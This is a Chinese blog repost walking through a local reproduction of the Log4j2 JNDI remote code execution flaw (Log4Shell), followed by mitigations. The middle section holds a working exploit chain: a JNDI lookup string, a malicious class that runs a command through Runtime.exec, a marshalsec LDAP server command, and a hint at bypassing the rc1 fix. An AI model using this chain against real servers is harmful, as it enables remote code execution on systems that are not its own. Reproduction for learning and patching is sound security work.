查看原文
其他

手把手教你复现Log4j2漏洞,千万别中招!

点击关注 👉 Java技术图谱 2022-07-01

1.简介


ApacheLog4j2是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。


2.漏洞概述


该漏洞是由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。


3.影响范围


Apache Log4j 2.x <= 2.15.0-rc1


4.环境搭建


1、创建一个新的maven项目,并导入Log4j的依赖包


<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version></dependency>


5.漏洞利用


1、使用POC测试

import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;class LogTest { public static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { logger.error("${jndi:ldap://localhost:8888/Exploit}"); }}


2、编译一恶意类Exploit.class


首先新建exp.java,然后编译为class文件

class Exploit { static { System.err.println("Pwned"); try { String cmds = "calc"; Runtime.getRuntime().exec(cmds); } catch ( Exception e ) { e.printStackTrace(); } }}
javac exp.java


3、使用marshalsec-0.0.3-SNAPSHOT-all.jar本地开启一个LDAP服务


java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer"http://127.0.0.1:7777/#Exploit" 8888


4、运行poc.java,即可访问恶意类并执行写在其中的"calc"命令



结合一些其它 StrLookup 适当变形,以及配合官方测试用例中脏数据`"?Type=A Type&Name=1100110&Char=!"`可绕过rc1,RC2版本对此异常进行了捕获。


https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1...log4j-2.15.0-rc2



6.修复方式 


目前,Apache官方已发布新版本完成漏洞修复,建议用户尽快进行自查,并及时升级至最新版本:


https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2


建议同时采用如下临时措施进行漏洞防范:


1)添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;


2)在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;


3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;


4)部署使用第三方防火墙产品进行安全防护。


作者:daxi0ng

来源:https://blog.csdn.net/qq_40989258/article/details/121862363



Java技术交流群

有不少同学问我,大厂面试官到底喜欢问什么?想进大厂镀金。因此,我特意邀请了华为、腾讯、阿里的朋友进群,与大家一起交流经验,增长技术。

有兴趣入群的同学,可长按扫描下方二维码,一定要备注:城市+昵称+技术方向,根据格式备注,可更快被通过且邀请进群。

▲长按扫描


近期热文推荐

点个在看你最好看

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存